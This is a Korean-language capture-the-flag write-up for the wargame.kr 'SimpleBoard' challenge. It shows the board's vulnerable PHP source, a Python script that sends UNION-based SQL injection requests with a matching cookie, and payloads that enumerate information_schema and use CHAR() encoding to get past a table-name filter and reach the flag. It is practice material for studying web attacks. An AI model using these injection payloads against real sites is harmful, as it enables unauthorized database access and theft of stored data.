Simple Union SQL injection Challenge. (but you need script... maybe?)
가벼운 보드가 반겨준다. 글 내용도 읽을 수 있게 충실히(?) 잘 구현되어 있는 보드인데 union으로 다른 테이블을 조회해야하는 느낌이 들었다. 소스는 다음과 같다
사실 이런 클래스를 보면... 나도 제대로좀 짜야겠단 생각이 매번들지만.. 이렇게 구조화해서 짜는게 참 좋은데.. 시도를 할 엄두가 안난다.
<?php if (isset($_GET['view-source'])){ if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") { show_source(__FILE__); exit(); } } Class DB { private $connector; function __construct(){ $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz"); mysql_select_db("SimpleBoard", $this->connector); } public function get_query($query){ $result = $this->real_query($query); return mysql_fetch_assoc($result); } public function gets_query($query){ $rows = []; $result = $this->real_query($query); while ($row = mysql_fetch_assoc($result)) { array_push($rows, $row); } return $rows; } public function just_query($query){ return $this->real_query($query); } private function real_query($query){ if (!$result = mysql_query($query, $this->connector)) { die("query error"); } return $result; } } Class Board { private $db; private $table; function __construct($table){ $this->db = new DB(); $this->table = $table; } public function read($idx){ $idx = mysql_real_escape_string($idx); if ($this->read_chk($idx) == false){ $this->inc_hit($idx); } return $this->db->get_query("select * from {$this->table} where idx=$idx"); } private function read_chk($idx){ if(strpos($_COOKIE['view'], "/".$idx) !== false) { return true; } else { return false; } } private function inc_hit($idx){ $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx"); $view = $_COOKIE['view'] . "/" . $idx; setcookie("view", $view, time()+3600, "/SimpleBoard/"); } public function get_list(){ $sql = "select * from {$this->table} order by idx desc limit 0,10"; $list = $this->db->gets_query($sql); return $list; } }
글을 읽을때마다 view라는 쿠키에 글 번호가 기재된다.
만약 쿠키에 없는 글을 읽으면 조회수가 올라가는 방식이다.
소스상에서 idx에 quote가 되지 않아 공격으로 활용할 수 있을 것 같아 간단히 idx 와 union select 를 해봤는데 자꾸 타임아웃이 걸렸다. 이유는 모르겠으나 너무 답답한 문제였다. 근데 원격으로 기숙사에서 돌리니 잘돼... 아무래도 네트워크 방화벽자체에서 단어를 필터링 하는 모양이다.
그래서... 한쪽은 팀뷰어 키고 한쪽은 문제 풀이하는 기이한 광경으로 풀이를 시작했다
소스를 보면 알 수 있겠지만 쿠키를 이용한다. 그래서 쿼리입력과 쿠키를 맞춰줘야 하는데 그냥 하면 너무나 귀찮은 일이다.
그래서 간단한 python 코드를 작성한다.
#!/usr/bin/env python # -*- coding: utf8 -*- import urllib, urllib2, re data = '' payload = "5 union select 1,2,3,4#" headers = {'Host': 'wargame.kr:8080', 'Cookie': 'view='+ urllib.quote('/'+payload)+';' } url = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=' + urllib.quote(payload) req = urllib2.Request(url, '', headers) response = urllib2.urlopen(req) the_page = response.read() print the_page
결과가 잘 나오는걸 확인했으니 4번 항복에 원하는데로 쿼리를 넣어보도록 하자.
전에 webhacking.kr에서 컬럼이름을 알아내는 방법에 대해서 적은적이 있었는데, 그땐 information_Schema가 막혀있었다.
그치만 이번엔 어떤 락도 존재하지 않으니 쭈욱 뽑아내보도록 하자
select table_schema,table_name,3,4 FROM information_Schema.tables
이런식으로 갯수를 4개를 맞춰줘야한다. 3,4 는 중요한게 아니고 이제 뒤에 limit 1,1 꼴로 한개씩 증가시켜나가볼것이다
limit 40때 테이블 이름들이 등장하는데
<tr><td>SimpleBoard</td><td>README</td><td>3</td></tr>
이름이 바로 README이다. 그렇다면 README의 컬럼도 알아보자
5 union select column_name, 2, 3, 4 from information_schema.columns where table_name='README'
안된다. 왜 안될까. README라는 테이블명이 아무래도 필터링 되고 있는것 같았다.
그래서 아스키코드로 변환해서 다음과 같이 입력했다.
5 union select column_name, 2, 3, 4 from information_schema.columns where table_name=CHAR(82,69,65,68,77,69)
컬럼이름이 flag라고 한다.
select를 하면 key가 나오고 문제를 해결할 수 있다.
컴퓨터 두대로 하느라 정말 귀찮은 문제였다...